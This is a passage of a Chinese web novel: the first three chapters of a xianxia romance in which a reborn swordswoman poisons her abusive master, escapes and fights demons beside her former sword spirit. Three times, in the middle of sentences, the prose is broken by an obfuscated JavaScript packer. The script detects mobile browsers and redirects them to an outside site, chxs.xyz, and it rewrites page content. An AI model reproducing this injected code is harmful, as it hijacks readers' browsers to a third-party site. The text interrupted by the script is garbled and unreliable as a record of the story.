《重生后和清冷剑灵he了》 1. 一 2024.11.14 文/鹤归西山 * “乌头二两、商陆五钱、砒霜二钱......阿珍姑娘,你要这么多有毒的药材干嘛?” 叶琛从小郎中手里接过药包,笑着解释道:“我师父要这些东西做新药,要是过几天我还能站在你面前,就说明这药失败了。” 小郎中目瞪口呆:“啊?这些药......是你试啊?” 药师做好新药后,会让身边药童先试药,观察成药效果后再决定要不要对外售卖,可......阿珍她师父要的都是毒药啊。 叶琛点头,玩笑道:“对呀,我要是死了,你记得给我收尸啊。” 小郎中一时不知道怎么答,看着少女单薄的肩膀和笑脸,耳根竟然先红透了。 * 时值隆冬,寒气入骨,街上行人无不捂紧棉衣,下巴抵在领口上,避免冷风灌进袄子,凉透了。 这样冷的天气,叶琛却还穿着初夏的衣裳,薄薄两层笼在身上,两颊泛着妖异的红,脸上的笑在走出药铺后顷刻消失不见。 她面容霎时变得冷漠极了,手上晃荡的药包一下一下打着腿,在街上吹了一大圈冷风才慢悠悠踱回去。 七弯八拐,小巷深处,药味经久不散,叶琛把数十包药丢在她师父面前,像是打发讨饭的狗。 师父不悦道:“没大没小,把药捡起来。” 叶琛没动。 她看着这个头发油腻结块,胡子拉碴的老头,甚至有点想笑。 原来她十六岁前的梦魇,是一个虚弱到了极点,还要虚张声势的老头。 叶琛迟迟没有动作,老头轻叱道:“还不快去,把药拣了,养条狗还会吠两句,养你真是狗都不如。” 叶琛眼珠动了动,心里盘算了几秒十六岁时的她该有的反应,片刻后,低头答:“是,师父。” 日头偏西,屋外开始落雪的时候,叶琛手边已经拣了一篮子罂.粟壳,依照惯例,她要把这些干壳碾成粉末,装进一个个瓷瓶里。 这老头是个半吊子药师,与其说在做药,不如说在做毒。叶琛小时候被他捡回来试药,本以为是一次性用品,但在叶琛被喂了一个月药还没有死掉后,老头脸色变了。 他发现,不管什么药喂给她,最多昏迷三五天,她又能醒来,甚至身体比以前更好。 她是一个完美的药童。 叶琛将最后一个瓷瓶贴好封条,放进药柜。 “来试新药,别关了,我等会还要拿药。” 叶琛关上柜门的手在半空中顿住。 腥臭的气味钻入叶琛鼻腔,泥碗盛着褐色不明液体,汩汩冒着热气,老头手中拿着针管。 针管内,是同样的褐色汁液。 叶琛垂下眼,小声问道:“这是什么?” “死而复生之药。”老头笑起来,痰卡在喉咙里,一喀一喀地响,“阿珍啊,你先喝了这碗药,半个时辰后我再给你注入这剂药,你就能先死一遍,再活过来。” 他举起针管,叶琛能清晰看见他手腕处曲张的经脉。 死而复生? 叶琛本想嗤笑一声,但话到嘴边又改了口:“这碗药真能毒死我?” 老头嘿嘿一笑:“当然,我知道你没那么容易死,所以加大了剂量,昨日还去交易行换了刺棠花的毒液,保管你喝了醒不来。” 刺棠花,生长于悬崖峭壁,花开时极美,有剧毒,凡人中毒不出三刻必断气。 这花难得,老头为了毒死她也真是用心良苦。 叶琛微微挑眉,双手接过那碗药。 * 叶琛擦干净手腕划伤溢出的血,手帕脏了,但这是她目前唯一的财产,叶琛决定保留。 老头脸朝上躺在地上,睡得很安详。 他嘴边残留着一点深褐色的药渍,地上,泥碗四分五裂。 叶琛有条不紊地处理好现场痕迹,泥碗一瓣瓣捡进垃圾袋,老头搬到椅子上,端正坐好。 做好这些后,她才打开窗户,安静地盯着窗外的雪看。 老头毕生钻研死而复生之药,却不知道面前正有个死而复生之人。 她前世死时,也下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426987|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这样大的雪。 那时她为救一人窃走佛宝,后来发现佛宝是假的,真的不知所踪,想救的人没救回来,她自己也沦为圣地通缉的妖女。 后来力竭而死,再次睁开眼,发现自己竟回到十六岁那年,从小把她当畜生养的老头就死在这年冬末,只不过前世他是去河边打水,脚滑跌进河里淹死的。 而如今,他是被她药死的。 想到这里,叶琛轻轻呼出一口气,心里感到一阵久违的快意。 仇嘛,果然还是自己亲自报比较爽快。 夜幕垂落,雪隐没在夜色中,风声愈发大了。 叶琛看了看天色,觉得时候差不多了,打包好行李,熄灭屋里的蜡烛,从窗户爬了出去。 再用鱼线轻轻把窗子从里面合上,叶琛拿出火折子,没有第一时间点燃,扭头看了看东南方向。 那边是兰溪往外的交通要道,她此番离开兰溪,应当不会再回来,叶琛这个身份会随着这场大火灰飞烟灭,即使有人发觉老头的死不对劲,也没人有闲心去查。 叶琛自觉一切安排妥当,点燃火折子,从窗子缝隙丢进去。 火势迅速蔓延开来。 而就在火烧起来的瞬间,东南方向传来一声尖利的叫喊。 “妖鬼来了——” 叶琛眨了眨眼,旋即爬上一户商铺的屋顶,朝出声处看去。 * 兰溪外五十里。 雪若飘絮,在沉寂的夜色中飘飘荡荡,寒冬腊月,有些茶水铺子为了生计,半夜也亮着微弱的光,木门半掩,一缕寒风吹着细雪落到掌柜颈窝。 掌柜一激灵被冻醒,茫然抬头,面上拂过一阵霜雪般的寒意。 点燃烛火,映出那人面容。 孤寒清绝,丹青难拓。 直到这人离开,掌柜望着那人随手留在桌面上的金锭,还是很茫然。 他从进来到离开,就只问了一句“兰溪往何处走”啊。 连热茶都没要一碗。 掌柜捧起那枚金锭,犹疑地咬了一口。 嘶,是真的。 2. 二 兰溪。 漆黑的夜里,东南处亮如白昼,哭声喊声连成一片,间或有形容怪异的黑影从暗处钻出,扑向声音来处。 这声尖锐的喊叫如刀般划破长夜,烧出一个灼烫的洞来。很快,各处房屋纷纷点燃油灯,窗棂响动,不少人从屋里好奇地探出头来。 叶琛心道不妙。 妖鬼视力极差,却对声音和光热极为敏感,因此,若是遭遇妖鬼而无自保之力,最好的做法就是原地蹲下,不要发出一点声音。 而若是在点燃油灯的同时,肆意交谈,无疑是给这群瞎子报点位! 果不其然,刚刚亮起的油灯霎时熄灭了几盏,尖利的惨叫响彻云霄。 恐惧在黑暗中蔓延。 叶琛轻轻叹了口气,心想自己今夜恐怕是走不成了。 她从怀里掏出一个陶瓷面具扣在脸上,指尖绷着一截鱼线,望向方才妖鬼蹿出的方向,足下发力,打算飞身从屋顶过去。 这里都是凡人,没有人能对付妖鬼,妖鬼一旦出现,整个镇子都要被屠戮殆尽。 但下一瞬,缠在指尖的鱼线陡然松懈下来。 东南方向,尖利的喊声被人截断,取而代之的,是铮铮的刀剑声。 银白的剑光如游龙般划过长空,天地为之一亮,紧接着响起一段急促的笛声,方才被剑气震慑开的黑影竟在原地停滞不动,痴痴地朝笛声来处走去。 叶琛定定望着那处,心中忽然划过老头先前的话。 “......昨日还去交易行换了刺棠花的毒液,保管你喝了醒不来。” 刺棠花在凡间罕见,却在修士中极为常见,只因它虽有剧毒,却有止血之奇效。对于修士来说,这点毒算不了什么,因此这花在他们手里就成了随身急救包。 老头用的刺棠花,是从这些修士手中来的? 叶琛还没来得及细想此地为什么会有这么多修士,就被另一道喊声移去了目光。 药铺门口,小郎中只穿着中衣,本想看看门外为何沸反盈天,刚推开门,脸色顿时煞白。 笛声只吸引了一部分妖鬼的注意力,而离他不远处,听到开门的响动,一只四肢瘦长的黑色怪物突然转头,定定看了他几秒,瞬间膨胀成原来体积的几倍,朝他扑来! 极度恐惧之下,人是做不出任何反应的。 小郎中感觉自己的时间被拉得无限长,怪物小山般的躯体向他压来,腥臭的涎水滴落在头顶,粘稠得像鼻涕。 他觉得此时自己应该转身跑进药铺,或者往人多的地方跑。 但是他双腿发颤,尝试着迈开腿,结果一屁股墩坐倒在地。 完了。 这是他心里第一个想法。 他已经能看见怪物细密的牙齿。 一道细不可闻的脆响掠过他耳畔。 小郎中下意识闭上眼。 预想中的疼痛却迟迟没有到来。 小郎中怔了下,最终好奇心战胜恐惧,他抬起眼,看到怪物在吞噬他的前一刻,仿佛被什么东西揪住后颈皮,一提一拉,骤然坠地。 那团小山似的怪物死后又慢慢缩水,变成一团皱巴巴的黑影,贴在药铺大门上,被一只手轻轻揭下。 那只手戴着黑色半指手套,虎口处有薄茧,只露出一点白得晃眼的指尖,指尖绷着几根白色细线。 就是这线救了他的命。 小郎中盯着那人的指尖看,脑中忽然闪过一道极细的光,刹那闪过,他没能抓住。 那人戴着个狐狸面具,看了他一眼,声音听不出男女:“还活着?” 小郎中怔愣片刻,连连点头。 那人似乎笑了下,道:“既然活着,回去歇着吧,关好门窗,今夜不要再出来了。” 小郎中这才发现自己的屁股还黏在地上,已经坐化了一层雪。 他刚想点头,把自己的屁股解救出来,却在再次抬头的那一刻,露出惊恐的神情。 他咽了下口水,指着叶琛背后:“那、那......” 叶琛疑惑转身。 妖鬼,越来越多的妖鬼朝他们涌来。不,准确地说,是朝整个兰溪涌来。 真是见了鬼......她心下一沉,手中鱼线旋即绷紧,先将离自己最近的几只妖鬼绞死,又风卷残叶般往外掠了一圈,药铺门前顿时清出一片空地。 回头一看,那小郎中竟然还愣在原地,她微微皱眉,斥道:“还不回去?” “哦哦,好......”小郎中眼睛瞪大,竟然就这么倒退着走回药铺,机械关门,关完才想起,自己把救命恩人锁外面了! 但叶琛本来就没有进来的意思。 妖鬼越来越多,如此下去,恐怕不止有亮光的东南角,它们很快会潜入黑夜,顺着风声撬开每一家门户。 另一边的笛声还在响,剑光如电,二者默契十足,那剑修往往是在笛声刚起时控场,等到乐声吹至高潮,妖鬼便嘶吼着自相残杀。 叶琛听着铮铮剑鸣,心想,她此时要是有把剑就好了。 她前世原本是个剑修,鱼线还是后来那人教给她的,只是后面和自己的本命剑灵分道扬镳,自己用剑又损耗太大,才慢慢改用鱼线的。 想到这里,她后背忽觉一阵凉意,寒毛倒立,想都没想,指尖鱼线弹出! 地上又多了一张干瘪的皮。 叶琛抬头看去,身后这排商铺之上,不知何时,冒出数双绿莹莹的眼睛,暗处,还潜伏着无数黑影。 这样下去不是办法。 叶琛微微垂下眼,浅淡霜意落在她眼睫之上,她这般安静下来,周围妖鬼却耐不住了,已经有前面几个朝她扑来。 在一只妖鬼几乎要咬断她咽喉的时候,叶琛动了。 她指尖扣着的鱼线甩出,绞向的却不是那只妖鬼,而是相反的方向。 下一刻,她侧身躲过那只妖鬼,另一只未缠线的手往妖鬼颈下轻轻一捏,指骨用力。 那人说,妖鬼颈下三寸,是为命门。 他还说,这是我们凡人迫不得已,以命相搏的办法,你既有剑,还是用剑吧。 指骨用力,叶琛听到一声脆响。 那只妖鬼眼瞳睁大,旋即蜷缩成一张干瘪的皮。 飘飘坠地。 叶琛伸手捞起那张皮,扶正自己脸上的笑面狐狸,脚步只顿了一下,继续提步加速朝鱼线破出的缺口冲去。 那边通向东南角,修士云集,如果她能到那边...... 缺口陡然被一个陌生的女修堵上。 叶琛心口陡然一沉,脚下一慢,刚刚甩开的妖鬼便重新围了上来,这东西恶心得很,一旦黏上你,便如狗皮膏药般难以甩开。 但她目光下移,落到这女修腰间时,方才的不快一扫而空。 她竟是个剑修! 叶琛眼前一亮,立即道:“道友,借剑一用!” 她没等那女修回答,便直接抽出那柄长剑,这剑剑身极窄,胜在轻灵敏捷,叶琛有些不习惯,但好歹是修过百年剑道的人,上手极快,眼看一道雪白剑光出鞘,细成一线,无声无息间,已然绞杀一大片妖鬼。 那女修缓了几秒,才叹道:“好诡谲的剑。” 叶琛愣了下,她太久不用剑,剑意竟也带上几分鱼线的味道。 而就是这下怔愣,她的剑慢了半拍,几只妖鬼登时膨胀数倍朝她扑来! 几座小山般的怪物朝自己压来,叶琛下意识压上灵力全力抵挡。 然而这一剑刚刚斩出,她便觉不妙。 雪白的剑光一闪,三只妖鬼齐齐落地,在斩下最后一只妖鬼时,剑身终于承受不住,断成两截。 叶琛看着手里空荡荡的剑柄,忍不住解释:“我不是故意的。” 她前世便因为剑意太盛,寻常剑一到她手里必定粉身碎骨,后来干脆非必要不拔剑,改用鱼线了。 如今她灵力比从前不知道弱了多少倍,这耗剑的毛病倒是原原本本继承过来,叶琛一时语塞。 女修安慰她:“不怪你,这剑也是我打折捡漏的,大概原本质量就不太好。” 叶琛非但没有被安慰到,反而更烦了。但她指尖还缠着几截洁白的鱼线,松散搭在指间,黑布白线,竟显出几分奇特的美感。 叶琛盯着鱼线看了几秒,脑中忽然闪过“命中注定”四个字。这念头一起,她捻了捻指尖的鱼线,轻轻笑了下,脸上浮现出两个小梨涡,眉眼弯弯,像浅浅的月牙儿。 在第六次打退扑上来的妖鬼后,女修抓着叶琛,有些喘不过气:“今夜我们是绑在一条船上了。” 这女修的剑质量不行,但法器却出乎意料的□□,她和叶琛一路相互掩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426988|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护,本想往东南角和大部队汇合,到了附近,却发现根本没有汇合的必要。 因为东南角的妖鬼,几乎比她们一路过来的都多,妖鬼喜欢热闹的地方,这边动静震天响,甚至有人间隙往天上放烟花。 叶琛明白他们这样做的原因,今夜不知为何妖鬼大规模过境,兰溪住的都是凡人,这些修士尚有搏杀之力,只能先尽量吸引妖鬼火力,再不济也能逃跑,但若是放任妖鬼四散,等到开春,兰溪周边怕是都成了荒地。 女修边喘气,边挥手打退上前的妖鬼,法器的金光散开,原本璀璨至极的佛光只亮了一下,就隐入浩浩汤汤的妖鬼潮里。 她拍了拍叶琛:“你刚才那招,能不能再用一用,挺好看的。” 叶琛心想我倒是想用,也得有剑给我使唤啊。而且你这形容......好像我在表演一样。 话虽如此,她仍抬起眼观察四周,指尖鱼线蓄势待发,只待绞杀漏网之鱼。 可她看向那道佛光消失的方向时,手里鱼线突然顿了下。 女修见她久久没有说话,问道:“怎么?” 叶琛轻轻呼出一口气,眼前顿时浮起一层白雾,寒冷的冬夜,这是最常见不过的事情。 她忽然道:“妖鬼潮可能快结束了。” 女修:“啊?你怎么知道?” 叶琛指了指刚刚破开云层的月亮,借着月光,地上浮起数朵霜花。 她道:“我对冷没什么知觉,但你觉得,现在是不是比方才温度低了些?” 女修思考片刻,答:“好像是冷些了。” 叶琛拊掌:“对,地上这霜花,必然不是天然形成的,我好像见过,记得这是个阵法,以霜雪为阵,阵中非人非灵之物,绞杀。道友,有人开阵了,我们有救了。” 女修一喜:“还有这样的阵法?” 叶琛点头,鱼线翻飞,又杀死一个暗处袭来的妖鬼,她且战且退:“当然有,我是见过的,但我是在哪见过的呢?” 她还没想出这阵法来处,一心多用,后背陡然撞上一处坚实的物什。 叶琛撞上时没收力道,右肩疼得龇牙咧嘴,回头一看,竟是个比她高半头的修士。 这人通身逸散着寒气,皮肤比冰雪更冷,墨发并未束冠,绸缎般披散下来,如将融未融的夜色。 叶琛撞到他时,他只顿了下,目光轻轻落在她身上一瞬,又移开。 黑夜中,叶琛只看到一双浅淡的冰蓝色眼瞳和这人淡色的唇。 她的注意力更多集中在这人腰间——那里悬着一柄剑! 叶琛喜极,连声道:“道友,借剑一用!” 至于还不还得了,日后再说! 这人抿了下唇,似乎不太高兴,却没有出手阻止。 叶琛很轻易地拔剑出鞘,剑光如霜如雪,寒气逼人。 她先用几个熟悉的起手式荡平身前的妖鬼,又反手挽了个剑花,打算把这修士那侧的也一同解决了。 可她转身打算再挥剑时,月光照亮了那名修士的脸。 冰蓝的眼,浅淡的唇,墨黑的发。 他额间剑印忽明忽灭,纤长的睫羽下,琉璃般通透的眼眸一错不错地盯着她。 月色与雪色纷飞,这人俊美得好似山精鬼魅。 但让叶琛怔住的并不是此人的俊美,而是这人她非但认识,还是个老熟人! 叶琛提起剑,脱口而出:“......洗霜?” 他纤长浓密的眼睫微微垂下,在眼底打上一层浓厚的阴翳。 叶琛发现他在盯着她手中的剑。 她方才太过惊讶,习惯性提起手中剑,竟是直接拿剑指着他喊他名字。 被人拿剑指着,任谁都高兴不起来......也难怪他盯着她看了。 叶琛不自觉抿唇,手中剑缓缓垂落回身侧,忽然明白方才使剑时那要命的熟悉感是怎么回事了。 她曾和这柄剑朝夕相处数百年,就算死了又活一回,神魂几乎已经将它当作左手右臂,再次拾起,如臂使指。 叶琛盯着手中剑,剑身修长,寒气逼人,远远望去如冰霜凝结而成,要不是月色太暗,她早该认出洗霜的。 可是,洗霜为什么会到兰溪来? 这位百年不出苍云山的剑首,现在不该好端端呆在千里之外的万剑阁吗? 3. 三 寒夜长寂,雪落纷飞,周遭黑压压的妖鬼迫于威势,竟无一只敢上前。 叶琛抬起眼,雪落在面前人漆黑的发上,也不融化,积了薄薄一层,乌发白雪交杂,周身风雪不歇。 叶琛忽然嗓子有些哑。 前世,她第一次见到洗霜,也是这样一个风雪夜。 她为救师门和巫镇百姓,连夜上万剑阁,连闯四大剑阵,衣衫被鲜血浸透了,膝下的雪被体温烫化,融成一摊一摊的水。 那夜,她跪在洗剑池前,洗霜也是如今日这般,墨眉凤眸,眉目含霜,周身霜雪之意竟将漫天风雪都压了下去。 她攥紧藏在袖中的断剑,指节发僵,道明来意。 那是叶琛的十七岁,老头死后,她被路过的师长捡回师门,不到一年师长在外横死,妖鬼过境,她别无他法,上万剑阁求助。 洗霜定定瞧了她一会,嗓音清淡,问道:“你为何觉得自己能打退妖鬼?” 叶琛并没有十成十的把握,但她最不缺的是勇气。 不论是孤勇,还是英勇。 只是她没想到,她那日跪在洗剑池前,求的正是万剑阁剑首——洗霜。 洗霜未必多信她,但或许是被“妖鬼”两个字打动,最后答应同她下山,解巫镇之围。 后来不记得因为什么,两人缔结剑契,洗霜成了她的本命剑灵,后来又分道扬镳。 重活一世,叶琛以为应当不会这么早见到前世的故人,她毫无准备地抬起手,摸到脸上的狐狸面具,冰凉坚硬。 她骤然醒来。 就算前世相识又如何,如今她死而复生,回到十六岁那年,此时的洗霜,应该是不认得她的。 况且她脸上还戴着面具,他看不见她的脸,并不怕他日后报复。 叶琛想到这里,心里霎时松了一口气,提起剑,骤然将它归入洗霜腰间的剑鞘。 戴着狐狸面具的少女抱歉道:“对不住,我拿不起这剑,方才几招已然力竭,道友,还是你来吧!” 洗霜最讨厌给妄自尊大,一腔孤勇之徒收拾烂摊子,叶琛想,这下他该嫌恶乃至看都不想看她一眼了。 叶琛跳到一旁,给足洗霜施展的空间,拉着方才的女修道:“你看,我说什么,我们有救了!” 女修看了眼洗霜,又看了眼叶琛,脸色有些奇怪:“我怎么觉得,他在看你。” 叶琛毫不犹豫地摇头:“怎么可能,我从未见过这位道友,这位道友气度不凡,一看就和我们这种散修不是一丘之貉。” 雪在她肩上落了薄薄一层,很快融化,她肩头顿时湿了一片。 叶琛觉得后背有些凉,想找间屋子换衣服,刚想和女修说帮忙守门,背后就传来一道清凌凌的嗓音。 洗霜站在漫天风雪中,黑如鸦羽的睫毛下压,透出欺霜压雪的寒意,他定定望着少女单薄的背影,语调清淡却不错一字地喊出了她的名字。 “叶琛。” “......嗯?” 她顿住脚步。 月色与雪色融成一片,落照斑斓如银河泄地,叶琛脚边落下一朵又一朵霜花,这是阵法已然启动的讯号。 在遍地妖鬼的嘶吼声中,她终于回头。 狐狸面具缺了一只耳朵,应当是方才打斗时掉的,她顶着这可笑的面具,看风雪中那人。 洗霜周身风雪愈发暴肆,剑意呼啸如流风回雪,霜花在脚边绽开,倾泻一路绵延不绝。 他走近,拔剑出鞘。 笑面狐狸抬头,露出底下少女乌黑润泽的眼瞳。 她很是不解。 洗霜望着狐狸一成不变的笑,心中忽然生起一点烦闷,他松开握着剑刃的手,语调寒凉入骨:“叶琛,我以为一个剑修不会不认得自己的剑。” 叶琛:“......?” 洗霜这是在讥讽她? 可从刚才到现在,她唯一可能冒犯到他的事情,只有拿剑指着他这一项吧。 叶琛又想,也许是洗霜不喜欢别人碰自己的剑,前世她刚刚和他缔结剑契时,关系尚好,但也不是每次和他借剑他都会给,她那时便知晓这人大概不太喜欢别人碰自己的剑。 她抬起眼,正对上这人寒凉的目光。 漫天雪絮落在他衣上、肩上,洗霜神情淡淡,仿佛已经与漫天风雪融为一体,良久,他似乎没有耐心再同叶琛僵持,掀起眼皮, “如果你还拿得起剑,便同我平定此地妖鬼。” 剑柄被递到叶琛手中。 叶琛迟疑地望着他,半晌,才接过他递来的剑,鱼线凌乱地缠绕在指尖,另一截拖在地上,被雪水沁湿。 剑光映出她脸上半截面具,赤色小狐狸笑眼弯弯,眼眶处露出的乌黑眼瞳却盛满了疑惑。 她方才......有同洗霜或者那女修提过自己名字吗? 洗霜已走出一段距离,忽然停住脚步,回首看她。 灯火映照,他侧身立在屋檐下,光影翩跹泻满袍袖。 眉目是熟悉的清冷,他静静站在灯下看她,也被她看。 叶琛明白这是催促的意思。 不管洗霜为何要把剑交到她手里,又如何知道她的名字,今夜最要紧的事都是解决此地妖鬼之祸。 叶琛停顿几秒,深吸一口气,提剑跟上他。 * 外围集中的妖鬼已被霜阵处理干净,一些生出灵智的妖鬼,见形势不妙,有的选择逃跑,还有的,直接钻进了附近的房屋商铺中。 叶琛要做的是将这些躲藏的妖鬼揪出来,就地斩杀。 这并不容易,但洗霜剑本体是千年玄冰所铸,所过之处霜风凛冽,妖鬼退避。叶琛往周遭递了几记剑意,剑锋之下,妖鬼无所遁形。 先前的女修啧啧称奇:“这剑真好看,出来的剑风也好看,你这招更好看!” 洗霜剑斩落妖鬼时,周身霜花缭绕,远看如白花绽放,极尽飘逸美丽。 叶琛杀死最后一只妖鬼,收剑回鞘,无奈叹道:“我还以为你下一句会是:好!再来一个!” 女修笑道:“你要是再演示一遍,我肯定是乐意看的,不过嘛......” 她指了指前面乌泱泱的人头:“人太多了,我不爱和这么多人呆一块。” 叶琛往她所指的方向望了一眼,一路斩杀过来,竟是来到了她原本想去的东南角。 洗霜走在她们前面一些,此时已然扎入人堆里,身周挤满了主动围上来的修士。 他一身白衣,姿容雅极,丢进那群灰头土脸的修士里,就像鸡窝里站了只金凤凰,叶琛一眼就望见了他。 女修道:“你这位友人似乎很有名,旁人一见了他就凑上去,也不管人家乐不乐意。” 叶琛点头:“万剑阁剑首,当然有名,多的是人想上万剑阁无门,现如今阁主就在这里,可不得围着人家瞧个究竟。” 事实上,这些人对洗霜既好奇又敬畏。 但凡踏上修道一途,万剑阁的名字便如雷贯耳,三千年前以灵修之身飞升的剑圣,在人间只留下万剑阁一处遗迹,剑阁中人却千年来固守苍云山一隅,相当神秘。 而万剑阁如今的阁主,就是洗霜。 传言他百年前第一次现身人间,便肃清了横跨三城的妖鬼之祸,北地妖鬼余孽很长一段时间不敢现于人前,但解决此事后,他又回到了苍云山。 自此人间便很少有关于洗霜的消息。 这无疑给万剑阁更添上一层神秘色彩,这位百年不出苍云山的剑首,对人间修士而言,就如高天之鹤,孤高清绝,望之生畏。 抬头望去,众人簇拥着这位难得现于人前的剑首,都好奇得要命,你一言我一句,却没有一个人敢真的和他搭话。 叶琛摇了摇头,洗霜此时大约已经烦得要命了。 洗霜这人,讨厌的东西多得很,他讨厌小猫,讨厌人,甚至讨厌桂花糕! 桂花糕这么好吃的东西,他竟然也讨厌,叶琛心想,没品的东西。 但是洗霜不是个东西,他是剑灵,还是万剑阁剑首。 所以他这些讨厌也就成了天才特有的怪癖,叶琛上辈子也是这样以为的,直到相处日久,她才发现,这就真的只是因为,洗霜不是个东西而已。 一块冰生出的灵智,即使铸成剑,成了剑灵,你又如何能指望他理解人类修士的生活方式呢? 叶琛低头看了眼手中长剑,心想也是这柄剑目前在她手上,不然这群人说不好真要还没挨上洗霜衣角就被剑意掀翻出去。 想到这里,她再次抬眼,遥遥望向人群正中,正好撞上那人回头的视线。 隔着熙熙攘攘的人群,洗霜神情隐没在斑驳光影里,模糊了轮廓,只那双琉璃般透彻的眼眸分外清楚。 目光凉凉地落在她肩上、手上。 叶琛看了看剑尖浮动的霜花,长长叹了口气。 拿人手短啊...... 叶琛旋即提起剑上前,扶正脸上面具,挤进去,喊道:“让一让!让一让!” 众人分开一条道路。 只见一个狐面少女挤到那位剑首身边,手中长剑寒气逼人,不多时,便有受不了寒意的人退避开来。 叶琛朝周围修士抱拳道:“感谢诸位今日出手相助,一同退敌,我们剑首还有要事在身,先走一步,日后再请诸位到苍云山小叙。” 话音刚落,她便一手提剑,一手拽着洗霜衣角,要拉他离开此地。 洗霜被她拽着倒是乖顺极了,任她拉着走,想必烦透了这群人,只想早些离开。 身后又传来一道温和的嗓音。 “姑娘何必自谦,在下都看到了,若不是万剑阁出手,今日兰溪恐怕剩不下多少活口。” 叶琛听到这声音的第一刻,脑袋顿时宕了机。 拉着洗霜衣角的手滑落下来,剑也差点拿不住。 这道声音她再熟悉不过。 叶琛死也不会忘记这个声音的主人,死在她十七岁那年的春日。 她木木地站在原地,眼睛眨了又眨,竟然迸出几点泪花,笑面狐狸眼眶处的油彩晕开,一片斑斓。 身后传来一阵霜寒之气,她定了定神,偏头看去。 青衣人长身玉立,笑容温和舒朗,腰间别着一支横笛,这是方才笛声的来处。 叶琛恍然,目光右移,果然在他身侧看到一位红衣女修,背负银白重剑,剑身宽大,剑锋透出刚开刃的锐利。 等到叶琛缓过神,发现自己已经坐在一间酒楼内,她和洗霜一桌,其余人离得远些,围在一块,坐满了好几张桌子。 叶琛忍不住搜寻起方才两人。 洗霜看她一眼,淡声道:“那边。” 叶琛顺着他嗓音望去,靠门一侧,那腰间横笛的青衣男子正和几名修士交谈,周围围了许多人,无不在讨论昨晚妖鬼之事。 她抬眼望向门外,天竟然已经亮了。 门口,季知年被一群人围在中间,脸上带着和善的微笑,心里已经骂了自己八百回。 他要是像那位剑首一样,高贵冷艳地不搭理人,本来现在也没他事的。 可偏偏他说了那一句,这群人便立刻找到了他和他的笛子,恍然想起昨夜除了漫天霜花奇景,还有一道笛声响彻长夜。 季知年耳边聒噪极了,几个男修几乎要贴到他身上来,你一言我一语,比笼子里关了八百只鸭子还吵闹。 一个修士道:“昨晚真是凶险!开始妖鬼还只有几只,后面越来越多,不知从哪就蹿出来一只,打到后面,我险些无法脱身!” 妖鬼最早出现在六千年前,无人知晓它们来自哪里,几乎是修士崛起,四圣展露头角的同时,它们便如瘟疫般在暗处蔓延。 妖鬼很难直接杀死,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426989|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些生出灵智的妖鬼甚至会伪装成人混入其中,一旦有合适的机会,就会引来更多的同类,所经之处,灵脉枯竭,生灵涂炭。 因此,妖鬼一直是凡人和修士共同的心腹大患。 有个男修抱剑嗤笑道:“那是你灵力低微、修行倦怠,若是当年四圣,随便哪位一剑就荡平了此地妖鬼,还用得着打一夜?” 前面的修士反唇相讥:“四圣飞升上界都是三千年前的事了,你怎么不拿自己和飞升的前辈比?看你这剑......呵呵,刃都没开,昨夜我们辛苦的时候,你怕是躲在后面尿裤子吧!” “你!”男修怒极,“你懂什么,这是大剑,大剑无锋,开什么刃?!” 修士笑起来:“哎呀急了,好,我不说了......反正嘛,懂的都懂。” 眼看昨夜的妖鬼还没讨论出个所以然,这两人又要打起来,季知年头痛道:“两位道友都冷静一下啊,不要打架,要打也出去打......掌柜还要做生意的。” 那修士望着他,忽然一笑:“好,听你的,我和他出去打。” 季知年一愣,还没反应过来,那修士已经半拉半拽着男修出去了,他背后又传来一道冷淡的女声。 季知年听到这声音,顿时如蒙大赦。 身后是先前同他一道的红衣女修,背负银白重剑,冷眉冷眼,身周自动让出一条宽敞的大道。 她冲季知年一点头,道:“师兄,该动身了。” 季知年顺坡下驴,一溜烟从坐得发烫的板凳上站起,朝众人一躬身:“诚如师妹所言,在下还有要事在身,实在不好久留,诸位,告辞!” 众人面面相觑。 怎么,一个两个都要事在身,就他们是闲人? 季知年被同门师妹从人堆里解救出来,终于呼吸到新鲜的空气,两人走到门口,季知年看到师妹忽然回头,望向酒楼一角。 那是个很偏僻的角落,一张桌子上,只坐着两个人,这两人似乎在说话。 察觉到他们的视线,桌旁白衣男子抬头望来,季知年骤然对上一双浅淡的冰蓝色眼瞳。 身旁师妹皱眉道:“季师兄,我感觉刚才他们中有人一直望着我们。” 季知年想起方才慑人的一眼,摇头:“那是万剑阁的剑首,人家没道理看我们,兴许你感觉出错了。” 红衣女修怀疑道:“可是我的感觉从未出过错啊。” * 叶琛缓缓收回目光。 她记得这位季师兄。 上辈子,老头跌进河里淹死后,过了一阵子,便有一位道长带着徒弟路过兰溪,顺带把她也捡了回去。 